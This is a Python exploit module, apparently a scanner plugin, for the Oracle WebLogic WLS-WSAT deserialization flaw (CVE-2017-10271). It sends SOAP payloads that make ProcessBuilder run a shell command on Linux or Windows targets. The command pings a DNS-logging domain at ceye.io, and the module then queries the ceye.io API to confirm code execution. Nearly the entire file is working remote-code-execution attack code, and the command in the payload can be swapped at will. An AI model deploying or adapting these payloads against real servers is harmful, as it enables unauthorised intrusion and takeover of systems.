#!/usr/bin/env python
# -*- coding:utf-8 -*-

#你需要修改self.API和self.domain为你自己的参数
import sys
import random
from string import letters
from thirdparty import requests
from lib.core import log

def expInfo():
    expInfo={}
    expInfo["appName"] = "Weblogic"
    expInfo["appVersion"] = "10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0, 12.2.1.2.0"
    expInfo["author"] = "Z3r0yu"
    expInfo["description"] = "Oracle WebLogic WLS-WSAT Remote Code Execution Exploit,but you need to set your self.API and self.domain in this script!"
    expInfo["references"] = "https://github.com/Luffin/CVE-2017-10271/"

    expInfo["options"] = [
        {
            "Name": "URL",
            "Current Setting": "",
            "Required": True,
            "Description": "URL or URL file"
        },
        {
            "Name": "Thread",
            "Current Setting": "1",
            "Required": False,
            "Description": "Threads"
        },
        {
            "Name": "Cookie",
            "Current Setting": "",
            "Required": False,
            "Description": "cookie"
        },
        {
            "Name": "Report",
            "Current Setting": "",
            "Required": False,
            "Description": "do you need a html report?"
        },
    ]
    return expInfo


class CVE_2017_10271:

    def __init__(self, url):
        self.url = url
        self.result = ""
        self.API = '*************'
        self.domain = 'your.ceye.io'
        self.BANNER = ''.join([random.choice(letters) for i in range(6)])
        self.API_URL = 'http://api.ceye.io/v1/records?token={}&type=dns&filter={}'.format(self.API, self.BANNER)

    def run(self):
        self.post(self.get_linux_payload())
        self.post(self.get_windows_payload())

    def post(self, data):
        headers = {
            "Content-Type": "text/xml;charset=UTF-8",
            "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
        }
        payload = "/wls-wsat/CoordinatorPortType"

        vulnurl = self.url + payload
        try:
            req = requests.post(vulnurl, data=data, headers=headers, timeout=10, verify=False)
        except Exception:
            log.error("[-] Connection Error") 
        if self.confirm_sucess():
                self.result = "[!] %s is vuln" % vulnurl

    def get_windows_payload(self):
        windows_post_data = '''
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
          <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
              <java>
                <object class="java.lang.ProcessBuilder">
                  <array class="java.lang.String" length="3">
                    <void index="0">
                      <string>cmd</string>
                    </void>
                    <void index="1">
                      <string>/c</string>
                    </void>
                    <void index="2">
                      <string>ping {}.{}</string>
                    </void>
                  </array>
                  <void method="start"/>
                </object>
              </java>
            </work:WorkContext>
          </soapenv:Header>
          <soapenv:Body/>
        </soapenv:Envelope>
        '''
        return windows_post_data.format(self.BANNER, self.domain)

    def get_linux_payload(self):
        linux_post_data = '''
        <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
          <soapenv:Header>
            <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
              <java>
                <object class="java.lang.ProcessBuilder">
                  <array class="java.lang.String" length="3">
                    <void index="0">
                      <string>/bin/sh</string>
                    </void>
                    <void index="1">
                      <string>-c</string>
                    </void>
                    <void index="2">
                      <string>ping {}.{}</string>
                    </void>
                  </array>
                  <void method="start"/>
                </object>
              </java>
            </work:WorkContext>
          </soapenv:Header>
          <soapenv:Body/>
        </soapenv:Envelope>
        '''
        return linux_post_data.format(self.BANNER, self.domain)

    def confirm_sucess(self):
        req = requests.get(self.API_URL)
        d = req.json()
        try:
            name = d['data'][0]['name']
            if self.BANNER in name:
                return True
        except Exception:
            return False


def exploit(target, headers=None):
    exp = CVE_2017_10271(target)
    exp.run()
    return exp.result